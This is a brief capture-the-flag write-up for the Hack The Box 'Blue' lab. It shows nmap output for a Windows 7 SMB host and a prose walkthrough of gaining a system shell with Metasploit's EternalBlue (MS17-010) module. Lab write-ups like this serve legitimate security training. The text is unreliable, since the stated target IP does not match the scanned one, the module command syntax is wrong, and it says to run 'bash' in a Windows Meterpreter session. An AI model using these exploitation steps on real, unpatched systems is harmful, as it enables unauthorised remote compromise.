HTB Blue Writeup

Blue Writeup

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Description / TL;DR

This box is one of the easiest boxes on HTB with a 2 minute root, to root this box you have to use Etneral Blue(MS17-010) and you get a root shell

IP: 10.10.10.50

Basic Enumeration

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Nmap - we start of by running nmap -sV -sC 10.10.10.50

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 23:23 ADT
Nmap scan report for 10.10.10.40
Host is up (0.052s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -31m39s, deviation: 34m36s, median: -11m41s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-07-01T03:13:13+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-06-30 23:13:11
|_  start_date: 2019-06-30 22:15:48

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.82 seconds

USER FLAG

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nope we skip this we go straight to root

ROOT FLAG

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From our nmap scan we notice that the server is running a version of SMB that is vulnerable to EtnernalBlue so we open up MetaSploit(msfconsole) and run search EtnernalBlue. we then use that exploit set the RHOST(set RHOST = 10.10.10.50) to the box’s ip LHOST(set LHOST (yourip)) to our ip and type exploit and then we get a meterpreter shell in which we can type bash and then navigate to the Admin’s desktop and get root.txt